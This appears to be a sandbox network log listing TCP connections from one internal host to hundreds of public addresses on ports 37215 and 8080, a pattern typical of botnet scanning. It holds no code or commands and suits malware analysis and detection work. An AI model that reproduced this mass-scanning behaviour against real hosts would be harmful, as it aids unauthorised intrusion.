Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 87.170.128.238:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.154.117.139:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.160.58.86:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.60.124.214:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 103.202.10.189:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 81.150.190.191:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.175.67.196:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.57.131.102:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.79.185.178:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.96.94.150:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.160.33.28:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.179.249.111:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 159.151.167.215:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.163.217.175:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.147.94.50:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.230.46.189:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.213.235.125:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 81.148.30.166:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 42.78.105.144:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.191.152.98:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.183.212.225:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.32.205.162:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.5.45.177:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 49.144.30.143:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 86.24.66.208:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.227.197.156:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.89.175.254:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.30.52.2:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.17.210.181:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.2.108.252:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 184.151.30.114:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.126.180.80:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.186.143.96:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.124.234.83:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.181.127.105:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.159.229.79:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.132.73.18:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.196.166.170:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.12.222.69:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.87.121.210:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.202.8.121:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 187.216.110.14:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 70.144.117.111:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.9.199.77:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.240.133.165:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 27.118.163.115:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.213.232.36:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.72.253.96:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.56.209.211:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.207.199.127:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.177.47.27:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.207.24.175:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.234.30.194:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.40.48.244:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.148.55.1:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.253.202.226:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.228.39.28:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.28.20.60:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 171.44.79.61:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 150.199.49.101:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.36.112.224:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.91.158.179:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 39.41.209.103:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.152.28.112:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 90.127.232.121:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.172.21.66:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.55.142.113:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.0.11.134:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.136.21.47:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.62.26.3:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.8.249.137:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.117.146.132:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.123.178.61:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.123.176.49:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.116.125.223:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.78.36.201:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.38.205.57:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.180.59.168:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.193.70.35:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 125.168.73.205:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.231.161.20:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 100.199.228.86:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 44.2.2.6:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.173.210.145:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.157.60.196:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.146.55.60:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.186.159.214:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 92.187.42.150:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.17.50.154:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.125.193.253:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 17.49.159.22:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 57.83.85.74:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.37.189.248:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.195.5.134:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.20.58.225:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.122.193.250:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.172.97.144:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.135.119.135:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.84.237.147:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.148.74.196:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.52.61.134:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.118.164.187:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.76.149.129:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.209.147.154:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.128.4.149:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.109.146.143:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.173.138.147:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.204.3.84:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.77.179.246:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.150.110.93:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.13.235.121:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 184.113.238.171:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.81.141.91:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.23.115.15:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.59.178.189:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.177.2.224:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 83.168.225.98:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.41.112.100:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 45.175.197.129:37215
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 176.151.84.163:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 202.32.32.163:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 31.137.58.115:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 217.114.232.156:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 5.31.247.236:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 84.38.242.99:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 157.183.211.37:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 126.242.120.108:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 147.249.236.177:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 91.241.0.205:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 92.68.56.183:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 175.200.212.234:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 130.116.213.19:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 138.158.64.214:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 191.62.120.244:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 32.67.203.159:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 65.54.186.142:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 219.102.94.182:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 96.32.251.21:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 161.95.86.108:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 99.255.182.226:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 71.183.42.94:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 108.51.92.124:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 83.12.29.151:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 141.112.59.215:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 191.184.220.255:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 219.137.1.69:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 104.239.181.109:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 186.87.249.7:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 77.94.17.158:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 82.217.176.153:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 152.116.127.51:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 170.107.127.3:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 60.24.205.54:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 146.226.233.215:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 24.77.221.83:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 164.158.119.183:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 206.242.27.123:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 156.75.65.35:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 110.171.58.45:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 159.31.77.39:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 1.166.153.76:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 98.79.183.192:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 189.27.182.188:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 149.16.26.0:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 133.107.246.130:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 194.207.200.247:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 191.74.140.148:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 180.94.210.103:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 148.88.226.94:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 99.186.58.151:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 54.126.16.29:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 122.109.9.126:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 96.121.219.100:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 124.96.123.84:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 114.235.251.4:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 189.95.30.85:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 97.81.10.124:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 155.224.151.27:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 25.238.97.103:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 93.34.241.228:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 121.162.252.144:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 197.119.13.46:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 177.116.224.143:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 115.75.189.172:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 177.187.154.151:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 204.92.8.10:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 68.16.227.99:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 207.63.208.37:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 147.210.107.7:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 111.59.211.147:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 103.119.226.199:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 211.238.228.48:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 115.198.208.86:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 120.3.226.83:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 171.244.151.16:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 25.230.146.130:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 20.141.197.207:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 169.97.48.171:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 87.138.126.232:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 41.81.191.65:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 115.125.108.214:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 13.19.52.86:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 96.104.161.202:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 83.226.54.255:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 125.35.224.85:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 63.95.107.195:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 210.81.200.88:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 204.202.169.144:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 162.213.77.89:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 101.159.37.180:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 63.254.65.183:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 89.77.160.207:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 170.243.40.97:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 112.141.65.55:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 60.159.200.192:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 49.214.77.28:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 48.49.68.126:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 216.51.144.174:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 73.179.220.202:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 166.218.225.128:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 87.63.120.197:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 218.124.207.111:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 156.163.166.118:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 2.223.146.68:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 98.216.101.112:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 69.51.28.226:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 101.197.167.174:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 188.20.209.183:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 168.103.10.133:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 176.139.150.31:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 84.143.11.47:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 217.50.239.222:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 39.94.208.124:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 182.185.61.189:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 206.56.114.238:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 53.47.73.71:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 143.30.171.26:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 130.23.27.182:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 50.242.27.165:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 53.205.97.41:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 121.67.163.8:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 84.142.45.170:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 162.11.196.207:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 9.141.60.246:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 98.229.55.124:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 85.20.52.235:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 124.222.5.113:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 45.31.19.177:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 160.241.246.146:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 89.232.133.87:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 168.215.63.241:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 31.201.16.122:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 103.108.231.18:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 189.145.212.79:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 38.220.78.12:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 58.238.168.15:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 173.150.208.41:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 118.54.211.246:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 131.188.206.28:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 93.94.78.25:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 58.248.4.240:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 91.145.90.224:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 27.128.184.114:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 83.146.76.181:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 95.113.197.231:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 162.35.106.22:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 57.103.158.65:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 152.53.57.101:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 164.133.32.114:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 46.157.121.104:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 64.77.238.160:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 180.112.250.15:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 124.82.58.107:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 139.49.211.192:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 17.81.194.95:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 64.168.215.56:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 107.124.203.87:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 193.62.121.242:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 183.240.140.17:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 143.60.10.6:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 145.21.188.121:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 96.34.128.101:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 136.190.44.59:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 108.90.200.137:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 201.31.84.80:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 9.173.89.63:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 169.31.28.59:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 223.193.122.215:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 59.57.79.86:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 109.80.157.179:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 140.6.197.116:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 120.2.46.122:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 91.225.235.187:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 87.171.183.52:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 114.75.251.199:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 110.147.206.157:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 2.7.61.37:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 213.140.160.247:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 141.107.46.67:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 19.218.150.50:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 73.14.81.204:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 73.68.214.199:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 138.158.65.239:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 147.155.77.184:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 179.39.87.155:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 68.168.208.203:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 213.19.7.177:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 41.253.54.164:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 46.35.73.144:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 63.37.32.64:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 162.79.98.202:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 82.145.40.220:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 110.163.3.37:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 91.81.119.86:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 104.91.9.186:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 116.161.32.132:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 113.68.53.178:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 201.19.140.177:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 219.77.61.133:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 119.158.26.78:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 96.102.55.158:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 107.221.170.43:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 206.37.246.62:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 4.96.136.123:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 165.221.212.240:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 63.93.188.87:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 138.83.173.49:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 181.10.251.32:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 99.29.244.108:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 130.169.124.146:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 206.105.237.179:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 207.98.165.227:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 173.237.135.253:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 217.17.142.183:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 210.157.147.103:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 206.41.192.158:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 59.205.123.76:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 223.21.82.211:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 123.106.134.52:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 105.248.212.183:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 176.82.35.3:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 166.210.124.138:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 132.78.219.57:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 168.2.50.4:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 87.87.55.99:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 126.132.25.25:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 219.82.79.139:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 54.185.15.41:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 163.69.27.105:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 126.159.2.49:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 157.144.251.72:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 131.24.190.62:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 142.237.88.152:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 218.67.178.187:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 159.93.173.59:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 133.191.47.250:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 136.13.65.243:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 32.68.183.44:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 95.184.143.54:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 72.101.144.114:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 146.154.38.243:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 140.120.125.107:8080
Source: global traffic	TCP traffic: 192.168.2.14:28792 -> 185.193.129.46:8080

